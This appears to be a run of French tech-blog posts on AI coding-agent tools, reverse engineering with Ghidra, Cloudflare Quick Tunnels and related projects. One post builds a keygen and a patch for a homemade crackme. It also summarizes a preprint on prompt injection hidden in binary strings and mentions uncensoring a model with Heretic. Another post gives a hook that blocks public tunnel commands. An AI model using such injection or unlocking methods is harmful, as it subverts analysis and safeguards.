La version Nintendo 64 de Command & Conquer, c'était une drôle de bestiole. Sortie en 1999 et portée par Looking Glass Studios, elle reprenait le RTS de Westwood avec des unités, des bâtiments et un terrain en vraie 3D. Pour ma part, je ne l'ai jamais testé à l'époque (moi j'étais sur PC) mais ça va pouvoir changer puisque c'est ce que le projet OpenCNC3D fait revivre sous la forme d'un programme Windows et macOS.
Pour y parvenir, le mystérieux dev qui s'occupe de ce projet, a repris la logique de jeu de Tiberian Dawn, dont EA a publié le code source sous licence GPL en 2020, puis y a collé les modèles 3D, les textures, le terrain et même la caméra à l'identique en les extrayant de la cartouche originale. Le tout est ensuite redessiné par un moteur de rendu écrit pour l'occasion, avec les menus et les sons des CD de la version MS-DOS de 1995.
Derrière ce projet se cacherait d'après les rumeurs, Frederik Schreiber , le patron de Slipgate Ironworks, le studio de Tempest Rising. C'est en tout cas ce qu'affirme le site Command & Conquer Saga, puisque le dépôt est signé freschism3000, un pseudo proche de son compte X, Freschism.
Côté contenu, vous retrouverez les 36 missions de campagne GDI et Nod, 27 missions Special Ops et 67 cinématiques d'origine, alors que la version N64 les avait tristement remplacées par des images fixes. Et il y a aussi du neuf, à commencer par le multijoueur en réseau dispo jusqu'à huit joueurs, que la cartouche n'avait pas, plus le mode escarmouche contre l'ordinateur et un éditeur de cartes.
La v0.8.0, sortie le 10 octobre dernier, ajoute également trois nouveaux rendus. Classic, c'est l'image plate en 320x200 du jeu de 1995, N64, celle de la cartouche, et Enhanced, ce sont les bâtiments refaits et peints à la main, les véhicules et les soldats remodélisés, ainsi que de l'herbe qui ondule et des bruits d'ambiance. Et vous pouvez passer de l'un à l'autre en pleine partie sans souci.
Je vous préviens quand même, maintenant que vous êtes bien hypé, le dépôt GitHub du projet , sous GPL v3, ne contient aucune donnée du jeu. Donc pour le faire tourner, vous devez en théorie fournir le dump de votre propre cartouche européenne et vos CD MS-DOS de 1995... Mais bon, comme les paquets du site, eux, livrent le jeu complet , sans la bénédiction d'EA, vous pourrez y jouer même sans ça. Oui, on est dans un genre de zone grise totale ce qui veut dire que ça pourrait, comme tout ce qui est beau dans ce monde, se faire shooter du jour au lendemain par les ayants droits.
C'est gratuit avec installeur pour Windows mais également une version universelle Apple Silicon et Intel pour macOS. Et ça tourne à 60 images par seconde jusqu'en 4K ! La vie est belle !
Un grand merci à Command & Conquer Saga pour le tuyau !
Source : Command & Conquer Saga

REA , pour "Reverse Engineer Anything", c'est un serveur MCP qui buzze ces derniers jours et qui permet de connecter votre agent IA (Claude Code, Codex, Cursor...) sur Ghidra, Hopper ou IDA, et sur des analyseurs pour les applis Electron, .NET ou les sites web.
Vous repérez ainsi une fonction qui vous plaît dans une appli, puis l'agent la décortique sans le code source et vous en code une version toute fraiche... Tiens ça me rappelle quelque chose...
Comme je voulais voir ce que ça donnait, je me suis donc monté un petit banc d'essai à l'arrache sur mon ordi avec Claude Code en Opus 5.5, REA 6.4.0 comme seul serveur MCP et Ghidra comme moteur.
Mes tests se découpent donc en 4 exercices : un keygen, un patch, une fonction d'appli à recréer ainsi que des codes de triche. Pour les deux premiers, j'ai bien sûr compilé des programmes maison avec un faux système de licence afin de ne pas sombrer dans l'illégalité en codant un vrai keygen ou un crack (et au passage me faire delete mon compte Anthropic ^^).
rea doctor valide Ghidra 12.1.4
Mon crackme, c'est donc une fausse app nommée "PixelNote Pro" qui réclame un nom d'utilisateur et une clé d'activation, compilé pour Mac ARM.
Une fois que je lui ai dis ce que je voulais faire, l'agent a donc ouvert le binaire dans Ghidra via REA, lu le pseudo-code, l'a recoupé avec l'assembleur là où le décompilateur écrivait une rotation de bits sous une forme peu lisible, et m'a pondu un keygen en Python en 2 minutes chrono pour un coût API de Claude 50 centimes. J'ai ensuite fait tourner son générateur sur 479 noms tirés au hasard et le binaire les a tous acceptés.
Le crackme ouvert à la main dans Ghidra : la fonction entry et son pseudo-code
La boucle de calcul de la clé, dans le pseudo-code que REA sert à l'agent
Le patch, c'est le plus bluffant j'ai trouvé. Le petit utilitaire que je me suis fait a pour mission de compter les lignes et les mots d'un fichier texte. C'est très basique. Et j'ai donc voulu faire un patch pour qu'il affiche aussi les caractères. Comme REA, avec Ghidra, ne touche pas aux octets de l'exécutable, l'agent a donc dû faire le reste à la main... il a logé ses instructions dans une zone remplie de zéros de la partie exécutable, détourné trois instructions d'origine vers elles, puis re-signé le binaire pour que macOS le lance :
Le compteur d'origine, sa version patchée par l'agent, puis le keygen du crackme accepté par le binaire
Pour mon 3ème exercice, je me suis dit que j'allais cloner la fonction d' Amphetamine qui garde mon Mac éveillé tant qu'une appli donnée est ouverte. Via Ghidra, malheureusement REA a refusé le binaire universel Intel et ARM d'Amphetamine, alors l'agent en a extrait lui-même la partie ARM. Il a alors trouvé qu'Amphetamine posait une assertion d'énergie du système et surveillait la liste des applis lancées. Et magie de l'IA, il a ensuite codé en Swift un petit outil qui fait tout pareil. J'ai testé avec la Calculatrice, ça marche, à condition de lui donner le nom de l'appli dans la langue du système, ou son identifiant.
pmset ne montre l'assertion d'éveil que pendant que la Calculatrice est ouverte
Et le dernier, c'est Wolfenstein 3D (j'ai pris la version shareware 1.4) dont l'exécutable DOS est compressé. L'agent a donc écrit son propre décompresseur, puis retrouvé dans le code le raccourci clavier pour tricher (c'est M+L+I qui met santé à 100, munitions, clés, mitrailleuse... et score remis à zéro), le paramètre goobers qui, avec Maj gauche + Alt + Retour arrière, débloque les touches de debug comme le mode Dieu, et même un juke-box caché. Tout correspond au code source publié depuis par id Software.
Par contre, ses logs montrent qu'il cherchait ces codes par leur nom avant de les avoir vus. Je me suis donc fait avoir puisque le modèle les connaissait déjà. Par contre, il les a bien retrouvé dans le binaire.
Début de partie du shareware 1.4 dans DOSBox, lancé avec le paramètre goobers
Les trois occurrences de goobers dans l'exécutable décompressé
Alors, REA est-il indispensable ?
Hé bien pour le savoir, j'ai relancé les quatre exercices avec le même modèle, les mêmes fichiers et les mêmes consignes, mais avec REA en moins... juste Claude Code qui pilote Ghidra. Hé bien Claude tout nu a tout réussi lui aussi, mais en écrivant quand il en avait besoin ses propres scripts Ghidra en Java, là où REA lui servait le pseudo-code et l'assembleur sur un plateau.
Bref, ce que je peux vous dire avec mes tests, c'est que REA ne fait pas mieux qu'un Claude à qui on demande d'installer Ghidra et de l'utiliser. Par contre, REA a été plus rapide sur le keygen (2 minutes 22 contre 2 minutes 48 pour Claude), sur Amphetamine (9 minutes contre 16 minutes pour Claude) et sur Wolfenstein (10 contre 14 pour Claude), mais plus lent sur le patch (7 minutes et demie contre un peu plus de 2 pour Claude).
A voir ce que ça donnerait avec un modèle local genre Qwen (débloqué avec Heretic , alleeeez)...
REA est sous licence MIT et l'analyse tourne en local (même si ses résultats partent quand même chez le fournisseur de votre modèle, donc évitez d'y passer un binaire confidentiel), et Hopper comme IDA restent des outils commerciaux dont REA ne fournit aucune licence.
Notez aussi que son créateur exclut le contournement de licences et la fabrication de patchs pour les jeux, d'où encore une fois mon crackme fait maison et les codes qu'id a lui-même mis dans Wolfenstein ^^.
Autre précaution à prendre si vous vous lancez et qui touche cette fois à la fiabilité de ce que l'agent IA peut vous raconter : Des chercheurs ont publié fin mai un préprint montrant qu'un binaire piégé peut donner ses propres ordres à l'IA qui l'analyse . Pour cela, il suffit d'y glisser des chaînes de texte sans effet à l'exécution, qui se retrouvent ensuite dans le code décompilé et soufflent de fausses instructions au modèle, pour lui faire mal interpréter le programme. Je n'ai pas testé REA là-dessus, mais le principe vaut a priori pour tout agent branché sur Ghidra, donc faites bien attention avant de donner un échantillon suspect à votre agent IA préféré.
Et si seul Ghidra vous intéresse, sachez que le ce MCP dont je vous ai parlé en février permet aussi de faire le pont agent IA <> Ghidra.
Voilà, pour installer REA, un petit :
npx rea-agents setup
Et c'est parti !

Je pense que ça va vous plaire ! En tout cas, moi ça m'a vraiment impressionné ! Le Petit Prince parmi les étoiles , c'est un jeu en 3D qui se lance directement dans le navigateur et qui nous emmène de planète en planète tout comme dans le conte de Saint-Exupéry. Il n'y a rien à installer, et le jeu est en français, en plus de sept autres langues.
La carte du voyage en français : B-612 est ouverte, les sept autres planètes attendent
Au premier clic, la carte du voyage s'ouvre avec huit planètes, et au démarrage, seule B-612 est accessible. Le roi, l'allumeur de réverbères, le géographe et les autres attendront donc leur tour pendant que vous promenez le petit prince sur son astéroïde (après une courte cinématique où il contemple une mer de nuages), entre ses volcans et sa fleur. Votre progression, elle, reste sauvegardée dans le navigateur d'une visite à l'autre.
Sur B-612, premier objectif : faire le tour de la planète, entre la cabane et les deux volcans
L'ambiance est reposante, un peu magique et m'a bien replongé en enfance, quand je lisais cette histoire poétique et un peu bizarre ^^.
Derrière ce jeu, il y a Sac, un créateur basé à Singapour qui parle d'IA et de 3D toute la journée sur X. Dans son post de lancement , il explique avoir passé 16 jours sur ce projet avec l'aide de Claude Opus 5.5, en combinant Tripo et Blender . Mais c'est surtout Opus 5.5 qui a transformé chaque planète du conte en scène 3D totalement explorable. Il a promis aussi de publier un peu plus tard le code source du jeu et le détail de comment il a réussi à faire tout ça. Après avoir fait ce jeu pour tester les capacités de l'IA, ce qu'il pense maintenant, c'est que plus personne n'a la moindre raison de ne pas l'utiliser.
En attendant qu'on ait les détails de son making-of, en creusant un peu, ce qu'on peut déjà voir c'est que c'est un export Unity qui tourne en WebGPU (sans aucun repli vers WebGL2), découpé en lots de chapitres, et que les commentaires dans le code renvoient à des documents de conception écrits en Markdown (UI_DESIGN.md, ENGLISH_COPY.md, WEB_BUILD.md...) ainsi qu'à des scripts Python qui génèrent en l'occurrence les polices et les logos.
Maintenant, quelle part a été faite à la main, ça, on ne le saura que lorsqu'il publiera sa technique...
Mais en tout cas, si après avoir joué à ce jeu, ça vous donne envie de vous y mettre pour réaliser vous aussi le jeu vidéo de vos rêves que vous avez dans la tête depuis que vous êtes tout petit, voici ce que vous avez à votre dispo.
Tout d'abord, il vous faut des graphismes et pour cela, Tripo transformera une description texte ou une simple image en modèle 3D, surtout si vous utilisez aussi son add-on officiel pour Blender qui permet de faire ça sans quitter le logiciel (à condition d'avoir une clé API Tripo). Maintenant, si vous préférez tout garder sur votre machine, n'oubliez pas que TRELLIS de Microsoft génère lui aussi des modèles 3D, sous licence MIT, et que je vous avais présenté son portage sur les Mac Apple Silicon il y a quelques mois.
Ensuite, pour que Claude pilote Blender, il y a MCP for Blender , l'ex-blender-mcp. L'IA y écrit elle-même le Python de Blender pour la modélisation, les matériaux, l'animation, le rig et la retopologie, et le serveur lui ajoute Poly Haven, Sketchfab ainsi que la génération 3D par Tripo ou Hyper3D Rodin (il propose aussi Hunyuan3D, mais la licence de Tencent exclut l'Union européenne, donc à voir ce qu'on fait de ça chez nous...).
Côté moteur, Unity a déclaré obsolète le serveur MCP intégré à son éditeur au profit du Unity CLI , gratuit et indépendant de son offre Unity AI, qui sait configurer Claude et installer des skills Unity pour votre agent.
Ça donne ceci si vous voulez l'installer. Ça commence par Blender d'abord, et puis Unity :
uvx mcp-for-blender setup
unity pipeline install
unity mcp configure claude
unity skill install <agent-name>
Ensuite, pour sortir le jeu et qu'il tourne dans le navigateur, sachez que le WebGPU d'Unity n'est plus expérimental depuis Unity 6.6 , mais qu'il faut encore l'ajouter vous-même aux API graphiques du lecteur Web. Quant au chef d'orchestre, Claude Code, comme vous le savez, c'est payant et inclus dès l'abonnement Pro de Claude , à 20 balles par mois.
Après, le hic, c'est ce WebGPU obligatoire car le jeu exige Chrome ou Edge 113 et plus, Safari 26, ou Firefox 141 sous Windows et 145 sur les Mac Apple Silicon. Et sous Linux (si j'en crois le suivi du W3C ), Chrome ne l'active d'office qu'avec un GPU Intel récent ou une carte NVIDIA sous Wayland, et Firefox seulement en Nightly.
Donc si l'écran vous dit que votre navigateur n'est pas compatible, séchez vos larmes et essayez depuis un Mac ou un PC Windows.
Et puis si l'envie vous prend d'adapter un autre classique à votre tour, choisissez-le bien, puisque le texte de Saint-Exupéry reste protégé en France jusqu'en 2032 et que ses héritiers exploitent le nom et les personnages comme étant des marques . Du coup, y'a des chances que Little Prince, le jeu, saute rapidement.
La rose va être bien triste encore...
Source : littleprince.dev

Cloudflare a sorti il y a petit moment maintenant une commande que pas mal de dev utilisent et dont je vais vous parler aujourd'hui : cloudflared tunnel --url, qui permet de publier un serveur tournant sur votre machine à une adresse en trycloudflare.com, sans avoir besoin de compte, de nom de domaine et surtout sans avoir à ouvrir le moindre port sur votre box toute pourrie.
Et la petite nouveauté depuis quelques jours, c'est que, autant avant, n'importe qui possédant le lien pouvait se connecter à votre service, mais maintenant, Cloudflare a mis en place une option qui permet de réserver ce lien à quelques adresses e-mail que vous définissez.
Ce service s'appelle les Quick Tunnels, et pour en profiter, il vous faudra juste un service web qui tourne en local (moi je vais faire ça sur le port 8080 comme d'hab) avec une page de test toute bête servie par Python. Voilà c'est juste de quoi vérifier que tout passe bien avant d'y brancher un vrai projet. Et si vous faites bosser des agents IA avec ce truc, on verra aussi comment mettre un garde-fou pour éviter l'exposition sur le web de trucs pas prévus ! Argh !!
cloudflared, c'est le petit connecteur open source de Cloudflare, celui qui établit la connexion sortante vers leur réseau. Sur Mac, pour l'installer c'est fastoche, suffit d'utiliser Homebrew :
brew install cloudflared
Sous Debian ou Ubuntu, passez par conte par le dépôt officiel de Cloudflare. Il a changé de clé de signature récemment, donc reprenez bien ces commandes plutôt que celles d'autres vieux tutos qui traînent :
sudo mkdir -p --mode=0755 /usr/share/keyrings
curl -fsSL https://pkg.cloudflare.com/cloudflare-main.gpg | sudo tee /usr/share/keyrings/cloudflare-main.gpg >/dev/null
echo 'deb [signed-by=/usr/share/keyrings/cloudflare-main.gpg] https://pkg.cloudflare.com/cloudflared any main' | sudo tee /etc/apt/sources.list.d/cloudflared.list
sudo apt-get update && sudo apt-get install cloudflared
Et sous Windows (les courageux !! lol), la page de téléchargement de Cloudflare propose un MSI ou un exécutable, en 32 ou 64 bits, et le paquet existe aussi chez winget sous l'identifiant Cloudflare.cloudflared. Dans tous les cas, vérifiez ensuite la version, car l'option d'authentification dont on va parler plus bas n'arrive qu'à partir de la version 2026.9.3 :
cloudflared --version
Tout d'abord, lancez votre serveur local, puis dans un autre terminal, faites :
cloudflared tunnel --url http://localhost:8080
Au bout de quelques secondes, cloudflared affichera un encadré avec une adresse aléatoire composée de quatre mots, du genre quelque-chose-truc-bidule.trycloudflare.com, en prévenant qu'elle peut mettre un moment à répondre. Donc soyez un peu patient, le temps que le DNS résolve ce truc (et
videz votre cache DNS
si ça veut vraiment pas le faire).
Ensuite, ouvrez cette URL depuis un autre appareil, genre votre téléphone en 4G par exemple et hop, vous tomberaz sur votre serveur local. Et si vous voulez tout couper, un petit Ctrl+C dans le terminal et c'est fini ! Pas de panique, au prochain lancement de cloudflared, vous aurez une nouvelle adresse.
La commande de base, et le cadre où cloudflared affiche l'adresse trycloudflare.com à partager
Notez aussi que le port n'est pas imposé puisque --url accepte tout ce que cloudflared peut joindre, une adresse IP de votre réseau local comprise. Par contre, si votre projet tourne sous Vite, vous allez prendre un "Blocked request" en pleine tronche, car Vite ne répond par défaut qu'à localhost, aux domaines en .localhost et aux adresses IP. La parade la plus simple consiste donc à faire croire à Vite qu'on l'appelle via localhost:5173 en faisant comme ceci :
cloudflared tunnel --url http://localhost:5173 --http-host-header localhost:5173
L'autre solution, c'est d'ajouter l'hôte dans le réglage server.allowedHosts de Vite. Mais évitez de passer ce réglage à true pour aller plus vite, en effet
la doc de Vite
le déconseille puisque ça expose votre serveur de dev à des attaques par DNS rebinding. Oupsi oups !
Gardez aussi en tête que c'est un outil de test et de démo et que c'est pas fait pour de la prod. Si on en croit la doc , Cloudflare ne garantit aucune disponibilité, sans oublier que chaque tunnel encaisse au max 200 requêtes en simultanné (au-delà, ça vous fera une erreur 429 ) et les Server-Sent Events ne passeront pas. Voilà, donc si vous voulez un nom fixe et du vrai trafic, il faudra plutôt créer un tunnel nommé à partir d'un vrai compte Cloudflare et d'un domaine de votre choix.
Et maintenant, pour limiter l'accès à votre service à quelques personnes, ajoutez --allowed-mail suivi de l'adresse email de celui à qui vous voulez montrer votre merveilleux boulot :
cloudflared tunnel --url http://localhost:8080 --allowed-mail korben@example.com
L'encardré change alors de "ton" en vous annonçant que le tunnel est "protégé" par une authentification de type code à usage unique via Cloudflare Access, ainsi que la quantité d'adresses autorisées. Les adresses elles-mêmes n'apparaissent nulle part, même dans la ligne des réglages où elles sont remplacées par des astérisques, ce qui est plutôt bien vu si vous faites une démo en mode partage d'écran. Ça évite les fuites de données perso !
Avec --allowed-mail, le cadre annonce le code à usage unique et le nombre d'adresses autorisées, sans jamais les afficher
Vous pouvez ensuite répéter l'option autant de fois que nécessaire, séparer plusieurs adresses par des virgules, ou autoriser tout un domaine. Mettez simplement des guillemets autour du "joker" (c'est l'étoile) pour que votre misérable shell ne tente pas de l'interpréter comme un gros teubé :
cloudflared tunnel --url http://localhost:8080 \
--allowed-mail korben@example.com \
--allowed-mail bob@example.com \
--allowed-mail '*@example.com'
Côté Wrangler, si vous bossez sur Workers, un petit npx wrangler tunnel quick-start acceptera la même option :
npx wrangler tunnel quick-start http://localhost:8080 --allowed-mail korben@example.com
De son côté, votre invité VIP n'aura alors plus qu'à ouvrir l'URL que vous lui avez donné et cloudflared renverra son browser vers login.trycloudflare.com. Il tombera alors sur une page Cloudflare Access qui lui demandera son adresse mail. Il recevra ensuite un code dans sa boîte, devra le taper, et arrivera enfin (ouf !!) sur votre merveille application probablement vibe codée (lol).
Et quelqu'un qui n'est pas sur la liste des invité ne verra quand à lui qu'une réponse de base lui expliquant qu'il peut bien aller se faire voir (et sa requête n'atteindra jamais votre application).
Ce que voit votre invité en ouvrant l'URL protégée : la page Cloudflare Access qui lui demande son adresse mail
Et votre liste d'emails, elle, n'est jamais diffusée hors de votre ordi puisque Cloudflare vérifie seulement que la personne contrôle l'adresse qu'elle a saisie. Ensuite c'est cloudflared qui compare les accès en mémoire, avec ce que vous avez tapé. Une fois entré, le visiteur gardera alors sa session jusqu'à 4 heures max.
Et si vous voulez modifier cette liste d'accès, il faudra alors arrêter le tunnel et en relancer un autre, ce qui coupera l'accès à tout le monde et vous donnera une nouvelle adresse à renvoyer. Donc soyez sûr de votre coup avant de casser la tête aux gens qui vont tester votre appli.
Sachez aussi que cette vérification ne pourra se faire qu'avec un vrai navigateur et pas des trucs du genre un webhook Stripe, un GitHub, un script en curl ou encore n'importe quel client automatique qui restera coincé devant cette page de connexion.
Pour ces cas-là précieusement, je vous recommande plustôt d'ouvrir un tunnel public le temps du test et de le couper juste après. Et si le webhook doit tourner durablement, passez sur un tunnel nommé avec Cloudflare Access, sur votre propre domaine.
Maintenant, parlons un petit peu à agents IA parce que oui... Un agent de code a besoin d'un endroit pour vous montrer ce qu'il vient de faire de beau, et Cloudflare décrit justement ce cas de figure dans son article.
Pour éviter qu'un agent IA ne diffuse publiquement ce qu'il vient de faire à la vue de tous, ce que recommande Cloudflare, c'est donc d'ajouter une ligne dans le fichier d'instructions de l'agent AGENTS.md comme ceci :
Quand tu lances un Quick Tunnel, ajoute toujours --allowed-mail moi@exemple.fr.
Sauf qu'une consigne reste une consigne... C'est un prompt que l'agent peut choisir d'ignorer... Donc gardez bien en tête que ces fichiers sont traités comme du contexte et pas comme une configuration imposée.
Maintenant, si vous voulez vraiment bloquer une action, peu importe ce que décide le modèle, ce que je vous recommande d'utiliser à la place, c'est un hook "PreToolUse". Moi, j'en mets partout dans mes configs Claude Code pour plus de sécurité.
Si vous ne savez pas ce qu'est un hook, en fait c'est un petit script contenant la commande en JSON, et que Claude Code lance avant chaque commande bash. Si ce script se termine avec le code "2" l'appel est alors bloqué. Pour faire ça, il faut donc créer dans le dossier .claude/hooks/ de votre projet, le script suivant :
#!/bin/bash
# .claude/hooks/tunnel-protege.sh
COMMAND=$(jq -r '.tool_input.command')
if echo "$COMMAND" | grep -qE 'cloudflared.*tunnel.*--url|wrangler.*tunnel.*quick-start' \
&& ! echo "$COMMAND" | grep -q -- '--allowed-mail'; then
echo "Quick Tunnel public refusé : ajoutez --allowed-mail, ou demandez-moi d'abord." >&2
exit 2
fi
exit 0
Puis rendez-le exécutable avec chmod +x, et installez jq si vous ne l'avez pas encore fait.
Déclarez-le ensuite dans le .claude/settings.json du projet, sur l'outil Bash comme ceci :
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/tunnel-protege.sh"
}
]
}
]
}
}
Maintenant, si ça vous prend trop le chaud de faire ça, sachez que j'ai fait un petit kit à télécharger ici, pour les Patreons :
Ensuite, à partir de là, un cloudflared tunnel --url ou un wrangler tunnel quick-start lancé sans le paramètre --allowed-mail ne fonctionnera pas, et l'agent recevra le message du hook qui lui dira d'ajouter l'option ou de vous demander s'il doit y avoir un contournement.
Et bien sûr, un tunnel nommé lancé avec cloudflared tunnel run, lui, passera normalement.
Comme d'hab, ce genre de garde-fou a ses limites, puisqu'il ne lit que le texte de la commande et ne vérifiera pas l'adresse qui suit l'option. Il ne verra non plus les tunnels qui pourraient être lancés depuis un script ou à l'aide d'une variable d'environnement TUNNEL_URL, qui permet aussi de lancer un Quick Tunnel. Voilà, donc laissez la consigne dans AGENTS.md en plus du hook, au cas où... Les deux devraient bien se compléter.
Pour les soutiens Patreon , le kit ci-dessus reprend donc ce hook avec les consignes à coller dans AGENTS.md, dont l'exception des clients automatiques (l'agent vous demande au lieu de retirer l'option).
Il y a aussi là dedans un script qui lance le tunnel protégé et ne renvoie que son adresse. Et si vous préférez scripter ça vous-même, partez de --output json, qui transformera chaque ligne du log en objet JSON. L'adresse sera alors accessible dans le champ message, et vous pourrez alors l'extraire avec une expression régulière.
Ah et un dernier point avant de lâcher un agent là-dessus sur le portable de votre boulot, je vous invite à lire ce que Proofpoint a documenté concernant des campagnes de malware qui s'appuient sur ce genre de tunnels gratuits. Ça explique pourquoi des outils de sécurité comme Elastic ont des règles qui repèrent cloudflared quand il est utilisé pour exposer un service local. Leur conseil c'est de bloquer les domaines de tunnel quand l'usage n'est pas autorisé, donc si vous comptez utiliser ça dans votre boite, allez voir Dieu Tout Puissant (le sysadmin grognon quoi...) pour lui demander l'autorisation. Il va pester, souffler, éventuellement vous cracher dessus puis finira probablement par accepter, donc pas d'inquiétude ^^.
Et comme la protection par mail est gratuite, au même titre que les Quick Tunnels eux-mêmes, je ne vois aucune raison valable de balancer une démo accessible sur le web sans utiliser cette authentification.

J'adore la France, mais même si la vie y est difficile. Pourquoi ? Simplement à cause de l'administratif et de la paperasse. En tant que phobique administratif, c'est vraiment ce qui me fait regarder de près l'expatriation, loool.
Tenir la compta d'une petite société, remplir sa déclaration d'impôts, estimer les frais de notaire d'un appart... Bref, la fucking paperasse a de quoi déclencher de sévère crises de phobie administrative chez tout le monde. Alors pour nous aider, mon nouveau héro du jour, Romain Simon, a créé " Paperasse ", des skills pour agents IA que Claude Code, Codex, Cursor ou Mistral Vibe peuvent consulter pour endosser le rôle d'expert-comptable, de contrôleur fiscal, de commissaire aux comptes, de fiscaliste, de notaire ou encore de syndic de copro.
Son dépôt contient également des scripts vérifiés pour tout ce qui est calculs importants. En effet, ce sont des choses qu'on ne veut surtout pas confier à un LLM. Je pense au calcul de l'impôt sur les sociétés, aux amortissements, à la TVA, ou encore sortir un fichier des écritures comptables, un bilan ou une facture. Le projet Paperasse contient aussi des connecteurs pour vos transactions Qonto et vos paiements Stripe.
Voilà, donc si, comme moi, vous êtes en détresse émotionnelle dès que vous recevez un courrier de l'administration française, je vous invite à installer ce projet en donnant tout simplement ce prompt à votre agent IA préféré :
Installe tous les skills du repo github https://github.com/romainsimon/paperasse
Lance ensuite le setup pour la gestion de toute ma paperasse
L'agent clonera alors le dépôt et lancera un setup qui vous demandera le nom de votre société, votre régime de TVA et vos comptes bancaires. Pour mes tests, j'ai donc inventé une SASU, Brioche & Octets, avec un relevé bancaire de huit lignes bidon, et j'ai lancé Claude Code dessus avec le skill comptable, dans un environnement vierge.
En 6 minutes, il a immobilisé l'ordinateur portable au lieu de le passer en charge, traité l'abonnement logiciel facturé depuis l'Irlande en deux scénarios faute de facture pour trancher, et rangé le retrait au distributeur en compte d'attente, en rappelant qu'un compte courant débiteur est interdit au président d'une SASU.
Côté factures, le script de validation a refusé ma première tentative, à laquelle il manquait le SIREN du client et le numéro de TVA intracommunautaire de ma boîte. Une fois corrigée, le générateur m'a sorti un PDF qui embarque son fichier XML Factur-X.
La facture de ma fausse SASU, une fois le SIREN du client et mon numéro de TVA ajoutés
L'agent fiscaliste, quant à lui, ce sera plus à même de vous aider si vous êtes un particulier. Je lui ai soumis un couple pacsé imaginaire avec un enfant, 65 000 € de salaires et 2 000 € de dividendes, en lui demandant si l'option pour le barème battait le PFU. Il a lancé son script Python sur les deux cas et conclu que oui, de 124 €, parce qu'avec un taux marginal de 11 %, l'abattement de 40 % et la CSG déductible font descendre l'impôt sur ces dividendes sous les 12,8 % du PFU. J'ai refait le calcul à la main, ça tombe juste.
Le fiscaliste compare PFU et option barème pour un couple pacsé imaginaire
Par contre, tout ça repose sur des barèmes qu'il faut tenir à jour, et c'est là que ça coince. En effet, ces mises à jour reposent sur les issues acceptées ou non sur le projet GitHub. Par exemple, y'en a une qui est ouverte depuis fin août qui montre que le skill "notaire" calcule encore les émoluments de vente avec le tarif de 2016 alors que ça a changé depuis le 1er janvier 2021, et malheureusement, que les évaluations automatiques du projet valident ces calculs faux. Le correctif a bien été proposé, comme d'autres mais aucun n'a été fusionnée depuis le 11 juillet.
Donc voilà, c'est un super projet, mais il faudrait encore que ça suive un petit peu derrière donc utilisez-le mais en prenant soin de bien vérifier quand même les montants / tarifs / règles sont à jour.
Reste maintenant la question de vos données... En effet, vos PDF et tout ce qui concerne vos données vont partir chez le service IA que vous utilisez. Donc ça, il faut en avoir conscience même si je sais que derrière, en général, les comptables mettent tout sur des drives mal sécurisés, et que prochainement la facturation électronique va faire leaker ça dans tous les sens.
Mais bon, quoi qu'il en soit, tout ceci ne remplacera jamais un expert-comptable, donc voilà, amusez-vous, testez-le, dégrossissez vos questions avec ça, faites des simulations...etc mais ne lui faites pas 100 % confiance.
Source : GitHub

Depuis sa version 2.1.277, Claude Code sait parfaitement lire les fichiers AGENTS.md. Ainsi, quand un projet n'a pas de CLAUDE.md, il prend l'AGENTS.md à la place, ce qui est super confortable pour tous ceux qui jonglent entre plusieurs agents. Enfin... sauf si vous avez coupé sa télémétrie, parce que dans ce cas-là, bizarrement, votre fichier AGENTS.md est totalement ignoré !
AGENTS.md, pour ceux qui débarquent, c'est un fichier Markdown que les agents de code lisent pour comprendre un projet. Codex, Amp ou Cursor s'y mettaient déjà en août 2025 (souvenez-vous de
ce fichier qui dit non aux IA
). Alors que chez Anthropic, la demande a traîné durant 1 an sur GitHub, jusqu'à ce que Boris Cherny, qui bosse sur Claude Code, ferme le ticket en août en conseillant une astuce, un CLAUDE.md qui contient juste @AGENTS.md, pour que Claude Code importe le fichier.
Puis la 2.1.277 est arrivée avec une vraie lecture native d'AGENTS.md, sans CLAUDE.md du tout, et c'est elle qui pose problème...
Parce que cette lecture native passe en réalité par un plugin intégré, qui est off par défaut et qui ne s'allume que si un feature flag récupéré chez Anthropic, tengu_agents_md_mod, lui dit oui. Et si ce flag ne répond pas, bah c'est "niet", et le fichier n'est jamais lu. Hé oui c'est bizarre qu'un accès à un fichier local nécessite un tel appel réseau...
Et ce "non", on l'obtient sans même le savoir, puisqu'il suffit d'activer DISABLE_TELEMETRY, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC ou même DO_NOT_TRACK, ou encore de passer par Bedrock et les autres fournisseurs tiers.
Attention, même à 0 (donc activé), DISABLE_TELEMETRY coupera la télémétrie. En fait, n'importe quelle valeur non vide compte.
Le pire, c'est que rien ne vous avertit. C'est vrai que quand AGENTS.md est chargé, Claude Code l'annonce avec une petite ligne dans la session, mais quand il est ignoré, hé bien y'a rien du tout. Et c'est assez impactant car ensuite le modèle répond sans vos consignes, et vous vous tapez à reformuler vos prompts en boucle en croyant que l'IA vous ignore, alors que le fichier ne lui est tout simplement jamais parvenu.
Et le comble, c'est que c'est documenté, et la page des variables d'environnement liste même tout ce qu'on perd quand les flags ne sont pas récupérés, lecture d'AGENTS.md comprise. Pourtant, y'a aucun rapport logique... Couper la télémétrie, de mon point de vue, ça reste un choix légitime et ça ne devrait couper que l'envoi de statistiques à Anthropic et pas la lecture d'un stupide fichier texte. Bref, ça me dépasse, ce genre de bug ou de "fonctionnalité".
En attendant, la parade est celle que conseillait Boris Cherny... À côté de chaque AGENTS.md, posez un bon vieux CLAUDE.md qui contient une seule ligne, @AGENTS.md. Par défaut, dès qu'un CLAUDE.md existe, la lecture native ne s'en mêle même plus, et c'est l'import qui fait le boulot. Et comme les imports de CLAUDE.md ne dépendent d'aucun flag, hé bien ça passe tranquillou, télémétrie coupée ou pas.
Comme ça vous préservez votre vie privée ET vos consignes.
Source : szypowi.cz

Cloudflare a mis en ligne sur son GitHub un skill trop super génial d'audit de sécurité qui leur a servi de point de départ à leur propre système de chasse aux failles de sécu. Ce package pour faire des audits de sécu boostés à l'agent IA c'est un dossier de consignes en Markdown que vous déposez dans votre agent de code, et qui le fait bosser comme un vrai auditeur et pas simplement comme un "relecteur" de code.
Dans ce dépôt, vous trouverez un fichier par famille d'attaque : la corruption mémoire, l'injection de prompt, le cadrage des requêtes HTTP, l'isolation entre locataires. Et avec ça, un schéma JSON qui décrit à quoi doit ressembler un rapport, et deux validateurs écrits en JavaScript sans la moindre dépendance.
Le dossier du skill sur GitHub : un fichier de consignes par famille d'attaque, et les deux validateurs en bas de liste ( Source )
